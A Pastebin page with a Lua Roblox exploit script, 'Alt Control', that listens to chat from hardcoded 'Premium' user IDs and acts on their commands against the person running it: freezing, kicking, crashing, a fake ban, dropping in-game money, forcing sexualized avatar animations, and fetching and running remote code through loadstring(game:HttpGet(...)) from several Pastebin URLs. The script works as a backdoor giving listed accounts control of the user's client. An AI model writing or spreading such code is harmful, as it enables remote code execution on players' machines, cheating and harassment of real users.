Arcaneee

Premium

May 31st, 2024 (edited)
1,270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 22.30 KB | None | 0 0
  1. local success, error = pcall(function()
  2.  
  3.   function Notification(text)
  4.     game.StarterGui:SetCore("SendNotification", {
  5.       Title = "Alt Control";
  6.       Text = text;
  7.       Icon = "rbxthumb://type=Asset&id=5107182114&w=150&h=150";
  8.       Duration = 10;
  9.     })
  10.   end
  11.  
  12.   function StopNormal()
  13.     for i,v in pairs(game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()) do if v.Animation.AnimationId == "rbxassetid://5918726674" or v.Animation.AnimationId == "rbxassetid://3109736639" or v.Animation.AnimationId == "rbxassetid://3152378852" or v.Animation.AnimationId == "rbxassetid://5918726674" then v:Stop() end end
  14.     if game.Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Sit == true then
  15.       game.Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Sit = false
  16.     end
  17.     if game.Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Sit == true and game:GetService("Workspace").OldVehicles:FindFirstChild(""..AltControl.Alt.."BIKE").VehicleSeat:FindFirstChild("SeatWeld") then
  18.       repeat task.wait()
  19.         game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-115, -58, 149)
  20.       until game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame == CFrame.new(-115, -58, 149)
  21.       task.wait(0.3)
  22.       game:GetService("VirtualInputManager"):SendKeyEvent(true,"Space",false,game) task.wait(0.2) game:GetService("VirtualInputManager"):SendKeyEvent(false,"Space",false,game)
  23.     end
  24.   end
  25.  
  26.   function StopAll()
  27.     Target = nil
  28.     Target2 = nil
  29.     EnableFire = false
  30.     KillLoop = false
  31.     MeleeKillLoop = false
  32.     Save = false
  33.     SaveYourself = false
  34.     SaveTarget = false
  35.     CallPlayer = false
  36.     CallAll = false
  37.     GrenadeLauncherEnabled = false
  38.     GrenadeEnabled = false
  39.     TP = false
  40.     StopNormal()
  41.     if Loop then
  42.       Loop:Disconnect()
  43.     end
  44.   end
  45.  
  46.   local Premium = {
  47.     393415794,
  48.     2852653009,
  49.     3061112851,
  50.   }
  51.  
  52.   local AbovePremium = {
  53.     123,
  54.     2065837,
  55.   }
  56.  
  57.   getgenv().AboveShield = true
  58.   getgenv().Shield = true
  59.   local bending = false
  60.   local sucking2 = false
  61.   local kickmsg = 'Premium User has Kicked you'
  62.   local function commands(msg,plr)
  63.     if getgenv().Shield == true then
  64.       if table.find(Premium, plr) then
  65.         local Mod = game:GetService('Players'):GetPlayerByUserId(plr)
  66.         local Msg = string.lower(msg)
  67.         local SplitCMD = string.split(Msg,' ')
  68.         local Lower = string.lower(game.Players.LocalPlayer.Name)
  69.         local Allowed = string.find(Lower, SplitCMD[2])
  70.         if Allowed then
  71.           if string.find(SplitCMD[1], '!freeze') then
  72.             game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true
  73.           end
  74.           if string.find(SplitCMD[1], '!unfreeze') then
  75.             game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false
  76.           end
  77.           if string.find(SplitCMD[1], '!benx') then
  78.             StopAll()
  79.             bending = true
  80.             local BenxTarget = Mod.Name local Crouch = game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid'):LoadAnimation(game:GetService("ReplicatedStorage").ClientAnimations.Crouching) Crouch.Looped = true Crouch:Play() local away = .5 local reversing = false
  81.            
  82.             if game.Players.LocalPlayer.Character:FindFirstChild('Shirt') then game.Players.LocalPlayer.Character:FindFirstChild('Shirt'):Destroy() end
  83.             if game.Players.LocalPlayer.Character:FindFirstChild('Pants') then game.Players.LocalPlayer.Character:FindFirstChild('Pants'):Destroy() end
  84.            
  85.             local Loop local loopFunction = function()
  86.               if game.Workspace.Players:FindFirstChild(BenxTarget) or game.Workspace:FindFirstChild(BenxTarget) then
  87.                 if reversing == true then away = away - 0.1 else away = away + 0.1 end
  88.                 if away >= 2 then reversing = true elseif away < 0.5 then reversing = false end
  89.                 game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players[BenxTarget].Character.HumanoidRootPart.CFrame + game.Players[BenxTarget].Character.HumanoidRootPart.CFrame.lookVector * away
  90.               end
  91.             end
  92.             local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end;
  93.             local Pause = function() Loop:Disconnect() Crouch:Stop() end;
  94.             Start()
  95.             repeat wait() until bending == false
  96.             Pause()
  97.           end
  98.           if string.find(SplitCMD[1], '!unbenx') then
  99.             while bending == true do
  100.               wait()
  101.               bending = false
  102.             end
  103.           end
  104.           if string.find(SplitCMD[1], '!throat') then
  105.             StopAll()
  106.             sucking2 = true
  107.             local SuckingTarget = Mod.Name
  108.            
  109.             local BangAnim = Instance.new("Animation") BangAnim.AnimationId = "rbxassetid://4686925579" local BangAnimPlay = game.Players.LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(BangAnim) BangAnimPlay:Play() BangAnimPlay:AdjustSpeed(8)
  110.            
  111.             game:GetService('RunService').Stepped:connect(function()
  112.               if sucking2 == true then
  113.                 game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")[SuckingTarget].Character.HumanoidRootPart.CFrame * CFrame.new(0,-2.5,-3) * CFrame.Angles(0,math.rad(180),0)
  114.               end
  115.             end)
  116.           end
  117.           if string.find(SplitCMD[1], '!unthroat') then
  118.             sucking2 = false
  119.            
  120.             for i,v in pairs(game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()) do
  121.               if v.Animation.AnimationId == "rbxassetid://4686925579" then
  122.                 v:Stop()
  123.               end
  124.             end
  125.           end
  126.           if string.find(SplitCMD[1], '!kick') then
  127.             if not table.find(Premium, game.Players.LocalPlayer.UserId) then
  128.               kickmsg = ""..Mod.Name.." has kicked you"
  129.               game.Players.LocalPlayer:Kick(kickmsg)
  130.             end
  131.           end
  132.           if string.find(SplitCMD[1], '!bring') then
  133.             StopAll()
  134.             task.wait(0.2)
  135.             game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game.Workspace.Players:FindFirstChild(Mod.Name).HumanoidRootPart.Position)
  136.           end
  137.           if string.find(SplitCMD[1], '!fling') then
  138.             game.Players.LocalPlayer.Character.HumanoidRootPart.Velocity = Vector3.new(500000,500000,500000)
  139.           end
  140.           if string.find(SplitCMD[1], '!rdance') then
  141.             loadstring(game:HttpGet('https://pastebin.com/raw/Ce5qJ4ND'))()
  142.           end
  143.           if string.find(SplitCMD[1], '!explode') then
  144.             game.Players.LocalPlayer.Character.Humanoid.RigType = "R6" loadstring(game:HttpGet('https://pastebin.com/raw/rTAe81vM'))() --game:GetService("ReplicatedStorage").MainEvent:FireServer("ResetNew")
  145.           end
  146.           if string.find(SplitCMD[1], '!jumpscare') then
  147.             UserSettings():GetService("UserGameSettings").MasterVolume = 3
  148.             loadstring(game:HttpGet('https://pastebin.com/raw/G7pZ1z1L'))()
  149.             task.wait(0.5)
  150.             UserSettings():GetService("UserGameSettings").MasterVolume = 0
  151.           end
  152.           if string.find(SplitCMD[1], '!fmap') then
  153.             loadstring(game:HttpGet('https://pastebin.com/raw/GgraWMBu'))()
  154.           end
  155.           if string.find(SplitCMD[1], '!rejoin') then
  156.             game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId)
  157.           end
  158.           if string.find(SplitCMD[1], '!troll') then
  159.             for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "RightUpperArm" or v.Name == "RightUpperLeg" or v.Name == "LeftUpperLeg" or v.Name == "LeftUpperArm" then v:Destroy() end end
  160.             for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "Right Arm" or v.Name == "Right Leg" or v.Name == "Left Leg" or v.Name == "Left Arm" then v:Destroy() end end
  161.             pcall(function() game.Players.LocalPlayer.Character.Head.Neck:Destroy() game.Players.LocalPlayer.Character.UpperTorso.NeckAttachment:Destroy() game.Players.LocalPlayer.Character.Humanoid.HealthDisplayDistance = math.huge game.Players.LocalPlayer.Character.Humanoid.NameDisplayDistance = math.huge game.Players.LocalPlayer.Character.Head.Size = Vector3.new(0,0,0) game.Players.LocalPlayer.Character.Head.Massless = true game.Players.LocalPlayer.Character.Head.CanCollide = false game.Players.LocalPlayer.Character.Head.NeckRigAttachment.CFrame =  CFrame.new(0, 100000.4736328125, 0) game.Players.LocalPlayer.Character.UpperTorso.NeckRigAttachment.CFrame =  CFrame.new(0, 100000.4736328125, 0) game.Players.LocalPlayer.Character.Head.CFrame = CFrame.new(0, 100000.4736328125, 0) end)
  162.           end
  163.           if string.find(SplitCMD[1], '!blackscreen') then
  164.             loadstring(game:HttpGet('https://pastebin.com/raw/vsw1Zg3z'))()
  165.           end
  166.           if string.find(SplitCMD[1], '!reset') then
  167.             game.Players.LocalPlayer.Character.Humanoid.RigType = "R6" --game:GetService("ReplicatedStorage").MainEvent:FireServer("ResetNew")
  168.           end
  169.           if string.find(SplitCMD[1], '!drop') then
  170.             game:GetService("ReplicatedStorage").MainEvent:FireServer("DropMoney",10000)
  171.           end
  172.           if string.find(SplitCMD[1], '!crash') then
  173.             while true do end
  174.           end
  175.           if string.find(SplitCMD[1], '!flash') then
  176.             game:GetService("TweenService"):Create(game:GetService("Lighting").ColorCorrection, TweenInfo.new(0.13), {Saturation = -111}):Play()
  177.             local Sound1 = Instance.new("Sound", workspace) local Sound2 = Instance.new("Sound", workspace) Sound1.Volume = 8 Sound2.Volume = 8 Sound1.SoundId = "rbxassetid://9114466095" Sound2.SoundId = "rbxassetid://9114465870"
  178.             Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play()
  179.             game:GetService("TweenService"):Create(game:GetService("Lighting").ColorCorrection, TweenInfo.new(0.13), {Saturation = 0}):Play()
  180.           end
  181.           if string.find(SplitCMD[1], '!ban') then
  182.             game.Players.LocalPlayer:Kick("PERMA BAN")
  183.           end
  184.           if string.find(SplitCMD[1], '!find') then
  185.             FindMsg = ""..Mod.DisplayName.." Is The Alpha"
  186.             game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(FindMsg, 'All')
  187.           end
  188.         else
  189.           return
  190.         end
  191.       end
  192.     end
  193.  
  194.    
  195.     if getgenv().AboveShield == true then
  196.       if table.find(AbovePremium, plr) then
  197.         local Mod = game:GetService('Players'):GetPlayerByUserId(plr)
  198.         local Msg = string.lower(msg)
  199.         local SplitCMD = string.split(Msg,' ')
  200.         local Lower = string.lower(game.Players.LocalPlayer.Name)
  201.         local Allowed = string.find(Lower, SplitCMD[2])
  202.         if Allowed then
  203.           if string.find(SplitCMD[1], '!freeze') then
  204.             game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true
  205.           end
  206.           if string.find(SplitCMD[1], '!unfreeze') then
  207.             game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false
  208.           end
  209.           if string.find(SplitCMD[1], '!benx') then
  210.             StopAll()
  211.             bending = true
  212.             local BenxTarget = Mod.Name local Crouch = game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid'):LoadAnimation(game:GetService("ReplicatedStorage").ClientAnimations.Crouching) Crouch.Looped = true Crouch:Play() local away = .5 local reversing = false
  213.            
  214.             if game.Players.LocalPlayer.Character:FindFirstChild('Shirt') then game.Players.LocalPlayer.Character:FindFirstChild('Shirt'):Destroy() end
  215.             if game.Players.LocalPlayer.Character:FindFirstChild('Pants') then game.Players.LocalPlayer.Character:FindFirstChild('Pants'):Destroy() end
  216.            
  217.             local Loop local loopFunction = function()
  218.               if game.Workspace.Players:FindFirstChild(BenxTarget) or game.Workspace:FindFirstChild(BenxTarget) then
  219.                 if reversing == true then away = away - 0.1 else away = away + 0.1 end
  220.                 if away >= 2 then reversing = true elseif away < 0.5 then reversing = false end
  221.                 game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players[BenxTarget].Character.HumanoidRootPart.CFrame + game.Players[BenxTarget].Character.HumanoidRootPart.CFrame.lookVector * away
  222.               end
  223.             end
  224.             local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end;
  225.             local Pause = function() Loop:Disconnect() Crouch:Stop() end;
  226.             Start()
  227.             repeat wait() until bending == false
  228.             Pause()
  229.           end
  230.           if string.find(SplitCMD[1], '!unbenx') then
  231.             while bending == true do
  232.               wait()
  233.               bending = false
  234.             end
  235.           end
  236.           if string.find(SplitCMD[1], '!throat') then
  237.             StopAll()
  238.             sucking2 = true
  239.             local SuckingTarget = Mod.Name
  240.            
  241.             local BangAnim = Instance.new("Animation") BangAnim.AnimationId = "rbxassetid://4686925579" local BangAnimPlay = game.Players.LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(BangAnim) BangAnimPlay:Play() BangAnimPlay:AdjustSpeed(8)
  242.             game:GetService('RunService').Stepped:connect(function()
  243.               if sucking2 == true then
  244.                 game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")[SuckingTarget].Character.HumanoidRootPart.CFrame * CFrame.new(0,-2.5,-3) * CFrame.Angles(0,math.rad(180),0)
  245.               end
  246.             end)
  247.           end
  248.           if string.find(SplitCMD[1], '!unthroat') then
  249.             sucking2 = false
  250.            
  251.             for i,v in pairs(game.Players.LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()) do
  252.               if v.Animation.AnimationId == "rbxassetid://4686925579" then
  253.                 v:Stop()
  254.               end
  255.             end
  256.           end
  257.           if string.find(SplitCMD[1], '!kick') then
  258.             if not table.find(AbovePremium, game.Players.LocalPlayer.UserId) then
  259.               kickmsg = ""..Mod.Name.." has kicked you"
  260.               game.Players.LocalPlayer:Kick(kickmsg)
  261.             end
  262.           end
  263.           if string.find(SplitCMD[1], '!bring') then
  264.             StopAll()
  265.             task.wait(0.2)
  266.             game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game.Workspace.Players:FindFirstChild(Mod.Name).HumanoidRootPart.Position)
  267.           end
  268.           if string.find(SplitCMD[1], '!fling') then
  269.             game.Players.LocalPlayer.Character.HumanoidRootPart.Velocity = Vector3.new(500000,500000,500000)
  270.           end
  271.           if string.find(SplitCMD[1], '!rdance') then
  272.             loadstring(game:HttpGet('https://pastebin.com/raw/Ce5qJ4ND'))()
  273.           end
  274.           if string.find(SplitCMD[1], '!explode') then
  275.             game.Players.LocalPlayer.Character.Humanoid.RigType = "R6" loadstring(game:HttpGet('https://pastebin.com/raw/rTAe81vM'))() --game:GetService("ReplicatedStorage").MainEvent:FireServer("ResetNew")
  276.           end
  277.           if string.find(SplitCMD[1], '!jumpscare') then
  278.             UserSettings():GetService("UserGameSettings").MasterVolume = 3
  279.             loadstring(game:HttpGet('https://pastebin.com/raw/G7pZ1z1L'))()
  280.             task.wait(0.5)
  281.             UserSettings():GetService("UserGameSettings").MasterVolume = 0
  282.           end
  283.           if string.find(SplitCMD[1], '!fmap') then
  284.             loadstring(game:HttpGet('https://pastebin.com/raw/GgraWMBu'))()
  285.           end
  286.           if string.find(SplitCMD[1], '!rejoin') then
  287.             game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId)
  288.           end
  289.           if string.find(SplitCMD[1], '!troll') then
  290.             for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "RightUpperArm" or v.Name == "RightUpperLeg" or v.Name == "LeftUpperLeg" or v.Name == "LeftUpperArm" then v:Destroy() end end
  291.             for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "Right Arm" or v.Name == "Right Leg" or v.Name == "Left Leg" or v.Name == "Left Arm" then v:Destroy() end end
  292.             pcall(function() game.Players.LocalPlayer.Character.Head.Neck:Destroy() game.Players.LocalPlayer.Character.UpperTorso.NeckAttachment:Destroy() game.Players.LocalPlayer.Character.Humanoid.HealthDisplayDistance = math.huge game.Players.LocalPlayer.Character.Humanoid.NameDisplayDistance = math.huge game.Players.LocalPlayer.Character.Head.Size = Vector3.new(0,0,0) game.Players.LocalPlayer.Character.Head.Massless = true game.Players.LocalPlayer.Character.Head.CanCollide = false game.Players.LocalPlayer.Character.Head.NeckRigAttachment.CFrame =  CFrame.new(0, 100000.4736328125, 0) game.Players.LocalPlayer.Character.UpperTorso.NeckRigAttachment.CFrame =  CFrame.new(0, 100000.4736328125, 0) game.Players.LocalPlayer.Character.Head.CFrame = CFrame.new(0, 100000.4736328125, 0) end)
  293.           end
  294.           if string.find(SplitCMD[1], '!blackscreen') then
  295.             loadstring(game:HttpGet('https://pastebin.com/raw/vsw1Zg3z'))()
  296.           end
  297.           if string.find(SplitCMD[1], '!reset') then
  298.             game.Players.LocalPlayer.Character.Humanoid.RigType = "R6" --game:GetService("ReplicatedStorage").MainEvent:FireServer("ResetNew")
  299.           end
  300.           if string.find(SplitCMD[1], '!drop') then
  301.             game:GetService("ReplicatedStorage").MainEvent:FireServer("DropMoney",10000)
  302.           end
  303.           if string.find(SplitCMD[1], '!crash') then
  304.             while true do end
  305.           end
  306.           if string.find(SplitCMD[1], '!flash') then
  307.             game:GetService("TweenService"):Create(game:GetService("Lighting").ColorCorrection, TweenInfo.new(0.13), {Saturation = -111}):Play()
  308.             local Sound1 = Instance.new("Sound", workspace) local Sound2 = Instance.new("Sound", workspace) Sound1.Volume = 8 Sound2.Volume = 8 Sound1.SoundId = "rbxassetid://9114466095" Sound2.SoundId = "rbxassetid://9114465870"
  309.             Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play() task.wait(0.1) Sound1:Play() task.wait(0.1) Sound2:Play()
  310.             game:GetService("TweenService"):Create(game:GetService("Lighting").ColorCorrection, TweenInfo.new(0.13), {Saturation = 0}):Play()
  311.           end
  312.           if string.find(SplitCMD[1], '!ban') then
  313.             game.Players.LocalPlayer:Kick("PERMA BAN")
  314.           end
  315.           if string.find(SplitCMD[1], '!find') then
  316.             FindMsg = ""..Mod.DisplayName.." Is The Alpha"
  317.             game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(FindMsg, 'All')
  318.           end
  319.         else
  320.           return
  321.         end
  322.       end
  323.     end
  324.     game:GetService("RunService").Heartbeat:Connect(function()
  325.       if table.find(AbovePremium, plr) then
  326.         getgenv().Shield = true
  327.       end
  328.     end)
  329.   end
  330.  
  331.   game.Players.PlayerAdded:Connect(function(plr)
  332.     if table.find(Premium, plr.UserId) then
  333.       Notification('Premium user found')
  334.       if getgenv().AltControl.Toggles.MutePremiumDirectly == true then
  335.         getgenv().Shield = false
  336.         task.wait(0.5)
  337.         getgenv().Shield = false
  338.         Notification('Premium Auto muted')
  339.       end
  340.       plr.Chatted:Connect(function(msg)
  341.         commands(msg, plr.UserId)
  342.       end)
  343.     end
  344.   end)
  345.  
  346.   for i,v in pairs(game:GetService('Players'):GetChildren()) do
  347.     if table.find(Premium, v.UserId) then
  348.       Notification('Premium user found')
  349.       if getgenv().AltControl.Toggles.MutePremiumDirectly == true then
  350.         getgenv().Shield = false
  351.         task.wait(0.5)
  352.         getgenv().Shield = false
  353.         Notification('Premium Auto muted')
  354.       end
  355.       v.Chatted:Connect(function(msg)
  356.         commands(msg, v.UserId)
  357.       end)
  358.     end
  359.   end
  360.  
  361.   game.Players.PlayerAdded:Connect(function(plr)
  362.     if table.find(AbovePremium, plr.UserId) then
  363.       Notification('Above Premium user found')
  364.       if getgenv().AltControl.Toggles.MutePremiumDirectly == true then
  365.         getgenv().AboveShield = false
  366.         task.wait(0.5)
  367.         getgenv().AboveShield = false
  368.         Notification('Above Premium Auto muted')
  369.       end
  370.       plr.Chatted:Connect(function(msg)
  371.         commands(msg, plr.UserId)
  372.       end)
  373.     end
  374.   end)
  375.  
  376.   for i,v in pairs(game:GetService('Players'):GetChildren()) do
  377.     if table.find(AbovePremium, v.UserId) then
  378.       Notification('Above Premium user found')
  379.       if getgenv().AltControl.Toggles.MutePremiumDirectly == true then
  380.         getgenv().AboveShield = false
  381.         task.wait(0.5)
  382.         getgenv().AboveShield = false
  383.         Notification('Above Premium Auto muted')
  384.       end
  385.       v.Chatted:Connect(function(msg)
  386.         commands(msg, v.UserId)
  387.       end)
  388.     end
  389.   end
  390. end)
  391. if error then print(error) end
  392.  
  393. local host = getgenv().AltControl.Owner
  394. local Owner = { host }
  395.  
  396. game.ReplicatedStorage.DefaultChatSystemChatEvents.OnMessageDoneFiltering.OnClientEvent:Connect(function(message) local player = message.FromSpeaker local chat = message.Message
  397.   if string.find(chat,'!shield') and table.find(Owner, player) then
  398.     getgenv().Shield = false
  399.     Notification('Premium muted')
  400.   end
  401.   if string.find(chat,'!unshield') and table.find(Owner, player) then
  402.     getgenv().Shield = true
  403.     Notification('Premium unmuted')
  404.   end
  405.   if string.find(chat,'!ashield') and table.find(Owner, player) then
  406.     getgenv().AboveShield = false
  407.     Notification('Above Premium muted')
  408.   end
  409.   if string.find(chat,'!aunshield') and table.find(Owner, player) then
  410.     getgenv().AboveShield = true
  411.     Notification('Above Premium unmuted')
  412.   end
  413. end)
Advertisement
Add Comment
Please, Sign In to add comment